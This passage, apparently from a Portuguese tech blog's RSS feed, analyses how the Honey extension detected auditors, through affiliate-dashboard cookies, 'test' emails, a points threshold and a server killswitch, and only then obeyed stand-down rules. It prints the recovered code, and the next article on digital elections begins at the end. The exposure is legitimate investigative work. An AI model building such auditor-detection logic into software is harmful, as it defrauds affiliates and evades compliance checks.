</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;GA&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;CONTID&#34;</span><span class="p">,</span> <span class="s2">&#34;s_vi&#34;</span><span class="p">,</span> <span class="s2">&#34;_ga&#34;</span><span class="p">,</span> <span class="s2">&#34;networkGroup&#34;</span><span class="p">,</span> <span class="s2">&#34;_gid&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vamos decodificar. Quando a extensão detecta que você clicou num link de afiliado, ela consulta essas regras antes de decidir se obedece o stand down:</p>
<ul>
<li><strong><code>uL</code></strong> (user logged in): você precisa estar logado numa conta Honey.</li>
<li><strong><code>uA</code></strong> (user account age): sua conta precisa ter uma idade mínima, 30 dias, em milissegundos, <em>&ldquo;por algum motivo&rdquo;</em>, como nota o MegaLag. Conta nova é o padrão de quem testa extensão pra auditoria.</li>
<li><strong><code>uP</code></strong> (user points): você precisa ter acumulado um mínimo de pontos de cashback. Na configuração atual: 65.000 pontos. Como 1.000 pontos valem $10 em vale-compras, isso exige $650 de ganho acumulado, praticamente nenhum usuário real, e com certeza nenhum auditor com conta de teste.</li>
<li><strong><code>bl</code></strong> (blacklist): o servidor pode marcar seu ID, cookie ou IP (quem já reclamou do Honey, por exemplo) e te tratar como &ldquo;alto risco&rdquo;.</li>
<li><strong><code>gca</code></strong>: a mais incriminadora de todas, e merece parágrafo próprio.</li>
</ul>
<p>Se você passa em todos os filtros, o sistema te classifica como consumidor legítimo e o Honey <strong>ignora o stand down</strong>, rouba a comissão. Se falha em qualquer um, te classifica como possível auditor e o Honey se comporta direitinho. O Edelman resume: <em>&ldquo;o Honey respeita o stand down, mas só às vezes. E esse &lsquo;às vezes&rsquo; é previsível.&rdquo;</em> Determinístico, na verdade: mesmas condições, mesmo resultado, reproduzível.</p>
<h3>O gca: procurando cookie de auditor<span class="hx:absolute hx:-mt-20" id="o-gca-procurando-cookie-de-auditor"></span>
    <a href="#o-gca-procurando-cookie-de-auditor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <code>gca</code> é o equivalente a revistar seu bolso procurando crachá de fiscal. As listas <code>affiliates</code> e <code>GA</code> são pareadas posicionalmente: no domínio <code>cj.com</code>, procure o cookie <code>CONTID</code>; no <code>linkshare</code>, o <code>s_vi</code>; no <code>ui.awin.com</code>, o <code>networkGroup</code>. O código, recuperado via <code>sourceMappingURL</code> do app iOS que vazou praticamente sem ofuscação:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">m</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ex</span> <span class="o">&amp;&amp;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ex</span><span class="p">.</span><span class="nx">GA</span> <span class="o">||</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="nx">g</span> <span class="o">=</span> <span class="nx">i</span><span class="p">().</span><span class="nx">map</span><span class="p">(</span><span class="nx">p</span><span class="p">.</span><span class="nx">ssd</span> <span class="o">&amp;&amp;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ssd</span><span class="p">.</span><span class="nx">affiliates</span><span class="p">,</span> <span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">f</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">u</span><span class="p">.</span><span class="nx">A</span><span class="p">.</span><span class="nx">get</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">name</span><span class="o">:</span> <span class="nx">m</span><span class="p">[</span><span class="nx">f</span><span class="p">],</span> <span class="c1">// nome do cookie vindo do array GA
</span></span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="nx">e</span>      <span class="c1">// domínio a ser verificado
</span></span></span><span class="line"><span class="cl">    <span class="p">}).</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">gca</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="c1">// achou o cookie: gca = 0, entra em modo compliance
</span></span></span><span class="line"><span class="cl">    <span class="p">}))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se você tem cookie de login do painel de afiliados da CJ, da Rakuten ou da Awin, ou seja, se você trabalha na indústria, o Honey respeita o stand down em tudo, sempre, não importa o link. O MegaLag descobriu isso por acidente, testando a própria extensão que ele construiu (a Cookie Guard): logou na conta de afiliado dele da CJ numa aba, e de repente o Honey virou um anjo.</p>
<p>E tem um detalhe cínico no design: domínios e nomes de cookie ficam em duas listas separadas em vez de pares nome-valor. Como nota o Edelman, o efeito é dificultar que alguém olhando o arquivo perceba a relação entre eles.</p>
<p>O Edelman é categórico sobre o que isso significa: não existe nenhuma razão legítima pra uma extensão de cupons verificar se você logou num painel de afiliados. A única função é se esconder de quem fiscaliza. E quem se esconde sabe que está fazendo algo proibido.</p>
<h3>Os outros truques: email &ldquo;test&rdquo;, killswitch e eBay<span class="hx:absolute hx:-mt-20" id="os-outros-truques-email-test-killswitch-e-ebay"></span>
    <a href="#os-outros-truques-email-test-killswitch-e-ebay" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Tem mais duas pérolas no código. A extensão escaneia seu endereço de email procurando a palavra &ldquo;test&rdquo;. Achou, modo compliance:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">email</span> <span class="o">&amp;&amp;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="s2">&#34;test&#34;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">bl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">),</span> <span class="o">!</span><span class="nx">r</span><span class="p">.</span><span class="nx">isLoggedIn</span> <span class="o">||</span> <span class="nx">t</span><span class="p">)</span> <span class="p">{</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E existe um killswitch mestre no servidor: a extensão consulta periodicamente uma URL, e dependendo da resposta o sistema SSD inteiro liga ou desliga:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">return</span> <span class="nx">e</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">7</span><span class="p">,</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">&#34;https://s.joinhoney.com&#34;</span><span class="p">,</span> <span class="s2">&#34;/ck/alive&#34;</span><span class="p">));</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">c</span> <span class="o">=</span> <span class="nx">S</span><span class="p">().</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="s2">&#34;alive&#34;</span> <span class="o">===</span> <span class="nx">e</span><span class="p">.</span><span class="nx">is</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">bl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Um flip no servidor e 14 milhões de extensões entram em modo compliance instantaneamente. Útil, por exemplo, no dia em que uma auditoria grande for anunciada.</p>
<p>E o eBay? O eBay tem tratamento VIP, direto no código: enquanto o stand down normal dura uma hora, o do eBay dura 86.400 segundos (24 horas), e a lógica SSD é explicitamente desativada pra domínios eBay:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="s2">&#34;regex&#34;</span><span class="o">:</span> <span class="s2">&#34;^https?\\:\\/\\/rover\\.ebay((?![\\?\\&amp;]pub=5575133559).)*$&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;provider&#34;</span><span class="o">:</span> <span class="s2">&#34;LS&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;overrideBl&#34;</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;ttl&#34;</span><span class="o">:</span> <span class="mi">86400</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">a</span> <span class="o">=</span> <span class="s2">&#34;ssd&#34;</span> <span class="o">===</span> <span class="nx">r</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="sr">/ebay/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">p</span><span class="p">);</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por quê? Porque em 2008 o eBay processou civil e criminalmente seus dois maiores afiliados, Shawn Hogan e Brian Dunning, que receberam mais de $20 milhões em 18 meses com esquemas de cookie stuffing, e os dois foram presos. O próprio Edelman ajudou a pegá-los. O Honey sabia exatamente com quem não devia brincar. Todo o resto do mercado, aparentemente, era presa fácil.</p>
<h3>A telemetria: a prova que se autodocumenta<span class="hx:absolute hx:-mt-20" id="a-telemetria-a-prova-que-se-autodocumenta"></span>
    <a href="#a-telemetria-a-prova-que-se-autodocumenta" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A parte que me deixou de queixo caído: desde o primeiro dia, o defeat device (o &ldquo;dispositivo de fraude&rdquo;, no jargão do Dieselgate) <strong>registrava cada decisão que tomava</strong>. Quando a extensão decide respeitar o stand down, ela manda telemetria com <code>&quot;method&quot;:&quot;suspend&quot;</code> e um <code>state</code> dizendo exatamente qual regra disparou, <code>&quot;uP:5001&quot;</code>, <code>&quot;gca&quot;</code>, <code>&quot;ssd&quot;</code>, junto com o link de afiliado original, que frequentemente contém o ID e às vezes o nome do afiliado prejudicado.</p>
<p>Em algum lugar nos servidores do PayPal existe um registro detalhado de cada comissão que esse sistema ajudou a roubar. O MegaLag fecha o quarto vídeo pedindo que as redes exijam esses dados e cobrem o reembolso. É difícil discordar.</p>
<h3>Como o MegaLag provou na extensão pública<span class="hx:absolute hx:-mt-20" id="como-o-megalag-provou-na-extensão-pública"></span>
    <a href="#como-o-megalag-provou-na-extens%c3%a3o-p%c3%bablica" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um detalhe de engenharia que merece respeito. Depois do primeiro vídeo, o PayPal subiu o limiar base pra 65.000 pontos, na prática desativando o mecanismo pra quase todo mundo e limitando o comportamento suspeito. Só que quem editou o <code>ssd.json</code> esqueceu a exceção da Rakuten: <code>&quot;LS&quot;: {&quot;uP&quot;: 5001}</code>.</p>
<p>O MegaLag fez o que ele chama de <em>&ldquo;uma maratona de compras dolorosamente cara&rdquo;</em> até passar de 5.000 pontos e reproduziu a fraude na extensão pública, intacta, sem modificar uma linha. (O Edelman fez mais simples: interceptou a resposta do servidor com o Fiddler e mentiu o próprio saldo de pontos. O código dele está no artigo linkado acima.)</p>
<h2>A reescrita do PayPal<span class="hx:absolute hx:-mt-20" id="a-reescrita-do-paypal"></span>
    <a href="#a-reescrita-do-paypal" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A genealogia do sistema, reconstruída pelo MegaLag com ~300 builds arquivados da extensão desde 2014:</p>
<ul>
<li><strong>Outubro de 2017</strong>: o SSD aparece pela primeira vez, na versão 10.5.2, ainda sob os fundadores Ryan Hudson e George Ruan, mas criptografado, embaralhado, ilegível pra quem encontrasse. O pesquisador Wladimir Palant já tinha documentado em 2020 que o Honey escondia trechos do próprio código.</li>
<li><strong>Março de 2021</strong>: sob o PayPal, versão 13.1.0, <strong>o sistema inteiro foi reconstruído</strong>. As regras foram reestruturadas num formato novo e passaram a morar em texto claro nos servidores do PayPal. Foi essa reescrita descuidada que expôs tudo.</li>
</ul>
<p>Guarde essa informação e compare com a declaração oficial do PayPal depois que a casa caiu:</p>
<blockquote>
  <p><em>&ldquo;O código causador desse comportamento foi identificado e não tem mais impacto. O código foi implementado antes da aquisição pelo PayPal e aparentemente afeta menos de 0,1% do tráfego do Honey.&rdquo;</em></p>
<p>— PayPal ao Hello Partner, janeiro de 2026</p>

</blockquote>
<p>O MegaLag chama isso do que é: mentira. Você não reconstrói um sistema do zero, ajusta as regras dele ano após ano, e depois alega que não sabia que ele existia.</p>
<p>A cronologia entrega: o MegaLag avisou o PayPal pedindo comentário em 18 de dezembro de 2025; chamaram as acusações de <em>&ldquo;imprecisas&rdquo;</em> e mandaram os advogados ameaçarem ele. A Rakuten desligou o Honey da rede em 12 de janeiro de 2026. O defeat device foi desativado em 13 de janeiro, um dia depois, quase um mês após o aviso. E o &ldquo;0,1% do tráfego&rdquo; é retórica vazia: as regras moram no servidor, então a abrangência sempre foi ajustável remotamente. Nas regras de 2023, o alvo era praticamente todo mundo.</p>
<h2>As consequências<span class="hx:absolute hx:-mt-20" id="as-consequências"></span>
    <a href="#as-consequ%c3%aancias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois do Cookie Gate, a fila andou:</p>
<ul>
<li><strong>Rakuten Advertising</strong> (12 de janeiro de 2026): terminou o Honey da rede inteira, mais de 2.000 lojas, incluindo Walmart, Lego, Sephora, Newegg, Uniqlo e Samsung. Detalhe sórdido: emails internos que vieram a público no processo mostram que a Rakuten sabia das violações de stand down desde julho de 2020 e manteve o Honey mesmo assim, e o PayPal ainda respondeu que as políticas de stand down eram <em>&ldquo;exagero&rdquo;</em>. Em maio de 2026 a Rakuten readmitiu o Honey discretamente, depois de publicar um <a href="https://github.com/rakutenrewards/PublisherStandown-SDK"target="_blank" rel="noopener">SDK de stand down de código aberto</a> que o Honey implementou.</li>
<li><strong>Impact</strong> (16 de janeiro): removeu o Honey do marketplace de descoberta e suspendeu a conta, confirmando violação das <em>&ldquo;exigências universais de stand down&rdquo;</em>.</li>
<li><strong>Awin</strong> (21 de janeiro): a maior rede afetada, com mais de 16.000 lojistas. Confirmou <em>&ldquo;violações das nossas políticas de publisher&rdquo;</em>, suspendeu pagamentos e impôs um plano de remediação que inclui <strong>dar às redes acesso ao código-fonte do Honey</strong>.</li>
<li><strong>Google</strong>: em março de 2025 a Chrome Web Store passou a exigir <em>&ldquo;benefício direto e transparente ao usuário&rdquo;</em> pra qualquer extensão que injete links de afiliado. O jeitinho do Honey foi ativar cashback de 0,1% a 1% em quase todas as lojas parceiras. Tecnicamente um benefício, na prática troco de bala.</li>
<li><strong>O mercado respondeu</strong>: o Honey perdeu cerca de 7 milhões de usuários (de 20 milhões pra 14), mais de 7.000 lojas (de ~35.000 pra ~28.000), e a base de cupons encolheu de ~90.000 pra ~50.000 códigos. A Apple, que sozinha gerava mais tráfego monetizável que as 27.000 menores lojas juntas, caiu fora.</li>
</ul>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/EXDemfGNGz0"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h2>A ação coletiva<span class="hx:absolute hx:-mt-20" id="a-ação-coletiva"></span>
    <a href="#a-a%c3%a7%c3%a3o-coletiva" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui o Davi encontra o Golias no tribunal. Dias depois do primeiro vídeo, em 29 de dezembro de 2024, a Wendover Productions (do Sam Denby) entrou com a primeira ação; o Devin Stone, do LegalEagle, que é advogado de verdade, organizou o esforço, e umas vinte firmas abriram ações parecidas em vários estados, incluindo o GamersNexus como autor principal de uma delas. Os casos foram consolidados no distrito norte da Califórnia: <em>In re PayPal Honey Browser Extension Litigation</em>, caso 5:24-cv-09470-BLF, juíza Beth Labson Freeman.</p>
<p>As acusações na petição atual: enriquecimento sem causa, interferência intencional em relações contratuais e em vantagem econômica prospectiva, violação do Computer Fraud and Abuse Act (a lei anti-hacking americana), da lei de acesso indevido a dados da Califórnia, e das leis de concorrência desleal da Califórnia e de Washington.</p>
<p>A cronologia processual é uma novela:</p>
<ul>
<li><strong>Novembro de 2025</strong>: o PayPal tentou forçar arbitragem e perdeu. Semanas depois, a juíza Freeman rejeitou a primeira petição, com permissão pra emendar, porque os contratos de afiliado eram com as lojas, não com o PayPal, e a simulação de Monte Carlo que os autores usaram pra estimar o dano não convenceu. O Ryan Hudson tuitou <em>&ldquo;Case dismissed&rdquo;</em> fazendo graça. O Hello Partner, publicação da indústria que tinha o Honey como patrocinador master da conferência deles, correu pra publicar <em>&ldquo;o que o MegaLag errou&rdquo;</em>.</li>
<li><strong>Janeiro de 2026</strong>: a segunda petição chegou com 101 páginas, dez autores nomeados, os contratos reais das lojas, evidência de compras-teste e, crucialmente, as descobertas do Cookie Gate incorporadas. A página 65 descreve o dispositivo de fraude em detalhe: <em>&ldquo;o PayPal criou vários métodos pra ignorar ou contornar os protocolos de stand down&rdquo;</em>, incluindo a detecção de visita a sites de redes de afiliados, que a petição chama de <em>&ldquo;a revelação mais gritante da má intenção do PayPal&rdquo;</em>.</li>
<li><strong>4 de junho de 2026</strong>: segunda audiência. A juíza avisou o advogado do PayPal, Richard Jacobson, o mesmo que assinou a notificação extrajudicial contra o MegaLag, que ele tinha <em>&ldquo;uma batalha difícil pela frente&rdquo;</em>. Quando a defesa argumentou que IDs de afiliado são <em>&ldquo;só sequências curtas de números e letras&rdquo;</em>, sem valor intrínseco, a juíza respondeu que dá pra dizer o mesmo de uma nota de dólar. Jacobson: <em>&ldquo;não sei como responder a isso.&rdquo;</em></li>
<li><strong>22 de junho de 2026</strong>: o pedido de extinção foi <strong>negado integralmente</strong>. Todas as acusações sobreviveram. O caso agora entra na fase de produção de provas (o <em>discovery</em> americano): documentos internos, comunicações, depoimentos, possivelmente dos fundadores e dos engenheiros do PayPal. Julgamento, se houver, lá pro fim de 2027. O palpite do MegaLag, e o meu também: o PayPal vai tentar acordo pra enterrar esses depoimentos.</li>
</ul>
<p>Vale registrar: uma ação paralela de consumidores do Reino Unido, sobre a propaganda enganosa de <em>&ldquo;melhores cupons&rdquo;</em>, foi rejeitada em junho de 2026. E a Capital One Shopping, processada por esquema parecido, fechou acordo em setembro de 2025 negando culpa.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O que me pega nessa história toda é o padrão de comportamento do PayPal em cada etapa. Acusado com vídeo e demonstração ao vivo, chamou de fake news. Confrontado com o código, mandou notificação extrajudicial e tentou derrubar o vídeo do Patreon alegando violação de direitos autorais. Alertado formalmente sobre o dispositivo de fraude, chamou de <em>&ldquo;impreciso&rdquo;</em> e esperou a Rakuten agir pra desligar. Pego, divulgou que <em>&ldquo;descobriu recentemente&rdquo;</em> um sistema que a própria empresa reconstruiu em 2021.</p>
<p>Em cada degrau, a escolha foi negar, ameaçar, minimizar, até a evidência tornar a posição insustentável; aí recuava meio passo fingindo surpresa.</p>
<p>O Honey, como produto, é causa perdida. Mesmo se você não liga pra ética de quem rouba comissão de criador, lembra do que a Amazon avisou lá em 2020: é uma extensão com permissão de ler e modificar seus dados em qualquer site, que escaneia seus cookies, loga seu histórico de navegação com geolocalização, e que aplicava cupom sabidamente expirado só pra fazer volume. Desinstala. Não existe cupom que pague isso.</p>
<p>E o lado inspirador, porque tem um: um desenvolvedor neozelandês motivado, com um analisador de pacotes, uma conta de teste e paciência, fez o que redes bilionárias com times de compliance não fizeram em oito anos. A arma dele foi um arquivo JSON em texto claro e algumas dezenas de linhas de JavaScript que o próprio PayPal serviu pra quem quisesse olhar. A frase que fecha o quarto vídeo resume a arrogância que ele derrubou:</p>
<blockquote>
  <p><em>&ldquo;Quando eu erro, sou o MegaLag. Quando eu acerto, sou só um comentarista da indústria.&rdquo;</em></p>

</blockquote>
<p>Pois agora ele é testemunha técnica de fato num processo federal. Davi venceu essa rodada. E foi lindo de assistir.</p>
]]></content:encoded><category>seguranca</category><category>mercado-de-tecnologia</category></item><item><title>Por que uma eleição digital perfeita ainda não seria viável?</title><link>https://akitaonrails.github.io/2026/08/07/por-que-uma-eleicao-digital-perfeita-ainda-nao-seria-viavel/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/07/por-que-uma-eleicao-digital-perfeita-ainda-nao-seria-viavel/</guid><pubDate>Fri, 07 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Toda eleição no Brasil vira a mesma novela: metade do país não confia no resultado. E, diferente da maioria dos países, aqui não tem o que recontar. O Brasil é um dos poucos países do mundo com eleição &lt;strong&gt;100% digital&lt;/strong&gt;: sem recibo de papel, sem cédula física, sem possibilidade de recontagem independente. O voto entra numa urna eletrônica, vira um número dentro de um software fechado e sai um boletim. Ou você confia no TSE, ou não tem o que fazer.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Toda eleição no Brasil vira a mesma novela: metade do país não confia no resultado. E, diferente da maioria dos países, aqui não tem o que recontar. O Brasil é um dos poucos países do mundo com eleição <strong>100% digital</strong>: sem recibo de papel, sem cédula física, sem possibilidade de recontagem independente. O voto entra numa urna eletrônica, vira um número dentro de um software fechado e sai um boletim. Ou você confia no TSE, ou não tem o que fazer.</p>
<p>Recentemente o TSE fez um teatrinho: <a href="https://www.tse.jus.br/comunicacao/noticias/2026/Junho/eleicoes-2026-tse-abre-urna-eletronica-para-tecnicos-da-sociedade-brasileira-de-computacao"target="_blank" rel="noopener">&ldquo;abriu a urna&rdquo;</a> pra técnicos da Sociedade Brasileira de Computação verem os componentes. Isso é obviamente inútil. Mostrar placa-mãe, processador e memória não prova que não existe malware. Hardware é só o palco; a peça acontece no software. E auditar o software é justamente o que é difícil, restrito, cheio de ritual e janela curta — o que derrota completamente o propósito de transparência pública. Uma auditoria que só meia dúzia de credenciados consegue fazer, sob supervisão, por alguns dias, não é transparência. É encenação.</p>
<p>E pra deixar claro: eu não defendo o sistema atual, nem tenho expectativa nenhuma nele. Como resumi <a href="https://x.com/AkitaOnRails/status/2084669984555331706"target="_blank" rel="noopener">neste tweet</a>: a urna é só uma caixa, um PC velho. Mesmo que o software fosse perfeito, não faria diferença — os processos ao redor continuam secretos, feitos debaixo dos panos. A urna é cortina de fumaça. Com ou sem alternativa, eu não ligo pra ela.</p>
<p>Muita gente conclui daí que o certo seria ter eleição digital, mas com um sistema diferente. Esse artigo é um exercício de ciência da computação: como seria um sistema hipoteticamente perfeito? E, mais importante, a conclusão final: <strong>por que mesmo esse sistema perfeito não seria uma opção viável.</strong></p>
